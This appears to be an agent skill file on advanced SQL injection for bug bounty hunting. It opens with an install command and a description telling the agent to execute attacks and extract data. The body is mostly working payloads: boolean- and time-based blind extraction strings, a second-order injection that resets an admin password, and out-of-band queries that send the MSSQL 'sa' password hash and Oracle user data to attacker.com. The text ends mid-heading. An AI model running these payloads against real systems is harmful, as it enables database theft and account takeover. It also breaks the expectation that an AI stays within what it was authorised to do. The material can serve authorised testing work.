$npx -y skills add ShulkwiSEC/bb-huge --skill advanced-sql-injection-sqliExecute advanced SQL Injection attacks to bypass WAFs and extract data from complex architectures. Use this skill for Boolean-Based Blind, Time-Based Blind, Second-Order SQLi, and Out-of-Band (OOB) SQLi across MySQL, PostgreSQL, MSSQL, and Oracle.
| 1 | # Advanced SQL Injection (SQLi) |
| 2 | |
| 3 | ## When to Use |
| 4 | - When basic error-based or UNION-based SQL payloads (`' OR 1=1--`) are filtered or fail to return visible results. |
| 5 | - When attacking modern frameworks where data is stored now but executed in a different query later (Second-Order SQLi). |
| 6 | - To exfiltrate data from heavily firewalled environments via DNS using Out-of-Band (OOB) techniques. |
| 7 | |
| 8 | |
| 9 | ## Prerequisites |
| 10 | - Authorized scope and target URLs from bug bounty program |
| 11 | - Burp Suite Professional (or Community) configured with browser proxy |
| 12 | - Familiarity with OWASP Top 10 and common web vulnerability classes |
| 13 | - SecLists wordlists for fuzzing and enumeration |
| 14 | |
| 15 | ## Workflow |
| 16 | |
| 17 | ### Phase 1: Boolean-Based Blind SQLi |
| 18 | |
| 19 | ```sql |
| 20 | -- Concept: The application returns NO database errors, and NO queried data. |
| 21 | -- However, it returns a slightly different HTTP response (e.g., "User exists" vs "User does not exist") |
| 22 | -- depending on if a trailing SQL condition is TRUE or FALSE. |
| 23 | |
| 24 | -- 1. Identify the difference: |
| 25 | -- Payload True: `id=1' AND 1=1--` -> Returns HTTP 200 OK (Content length 500) |
| 26 | -- Payload False: `id=1' AND 1=0--` -> Returns HTTP 404 (Content length 200) |
| 27 | |
| 28 | -- 2. Extract data one character at a time (Binary Search / Fuzzing): |
| 29 | -- "Is the first letter of the database name 'a'?" |
| 30 | id=1' AND SUBSTRING(database(),1,1)='a'-- |
| 31 | |
| 32 | -- Using ASCII conversion to easily script greater/less than checks: |
| 33 | -- "Is the first letter's ASCII value > 100?" |
| 34 | id=1' AND ASCII(SUBSTRING(database(),1,1)) > 100-- |
| 35 | -- If the page loads normally (HTTP 200), the answer is YES. If 404, the answer is NO. |
| 36 | ``` |
| 37 | |
| 38 | ### Phase 2: Time-Based Blind SQLi |
| 39 | |
| 40 | ```sql |
| 41 | -- Concept: The application is COMPLETELY blind. It always returns the exact same HTML, |
| 42 | -- regardless of True or False statements. We force the database to PAUSE execution if a statement is True. |
| 43 | |
| 44 | -- 1. PostgreSQL Time Delay Payload: |
| 45 | id=1'; SELECT pg_sleep(10)-- |
| 46 | -- If the server takes exactly 10 seconds to respond, it is vulnerable to SQL injection. |
| 47 | |
| 48 | -- 2. Extracting data via Time (MySQL example): |
| 49 | -- "If the first letter of the DB is 'A', sleep for 5 seconds. Otherwise, return immediately." |
| 50 | id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=65, SLEEP(5), 0)-- |
| 51 | |
| 52 | -- Warning: Time-based SQLi is extremely slow and can cause Denial of Service (DoS) |
| 53 | -- if sleep commands pile up on high-traffic pages. Use carefully. |
| 54 | ``` |
| 55 | |
| 56 | ### Phase 3: Out-of-Band (OOB) SQLi via DNS |
| 57 | |
| 58 | ```sql |
| 59 | -- Concept: The application is blind and asynchronous (time delays don't work or are unreliable). |
| 60 | -- We force the database server itself to make a DNS request to an attacker-controlled server, |
| 61 | -- placing the stolen data directly inside the subdomain of the DNS query. |
| 62 | |
| 63 | -- Prerequisites: Obtain a Burp Collaborator payload or use interactions.sh (e.g., `attacker.com`). |
| 64 | |
| 65 | -- 1. MSSQL (Uses xp_dirtree or master..xp_fileexist to initiate SMB/DNS requests): |
| 66 | -- We concatenate the DBA password hash into the URL. |
| 67 | EXEC master..xp_dirtree '\\' + (SELECT master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa') + '.attacker.com\a' |
| 68 | |
| 69 | -- 2. Oracle (Uses UTL_HTTP or UTL_INADDR): |
| 70 | SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT user FROM dual)||'.attacker.com/"> %remote;]>'),'/l') FROM dual; |
| 71 | |
| 72 | -- The attacker checks their DNS logs and sees a lookup for: |
| 73 | -- `0x01004086CEB611.attacker.com`. The prefix is the stolen SQL Server password hash. |
| 74 | ``` |
| 75 | |
| 76 | ### Phase 4: Second-Order SQLi |
| 77 | |
| 78 | ```sql |
| 79 | -- Concept: The application securely sanitizes input (e.g., escaping quotes) when WRITING to the DB. |
| 80 | -- However, when the application later READS that data from the DB to build a new query, it trusts it blindly. |
| 81 | |
| 82 | -- 1. Injection (Registration Page - Parameterized/Escaped correctly): |
| 83 | -- Username: `admin'--` |
| 84 | -- The backend registers the user. The DB safely holds the literal string: `admin'--` |
| 85 | |
| 86 | -- 2. Execution (Password Reset Page - Vulnerable): |
| 87 | -- The user initiates a password reset for their own account (`admin'--`). |
| 88 | -- The backend builds a query assuming DB data is safe: |
| 89 | -- `UPDATE users SET password='NewPassword' WHERE username='admin'--'` |
| 90 | -- The trailing `--` comments out any safety checks (e.g., `AND tenant_id=5`), resulting in the attacker changing the REAL `admin`'s password. |
| 91 | ``` |
| 92 | |
| 93 | #### Decision Po |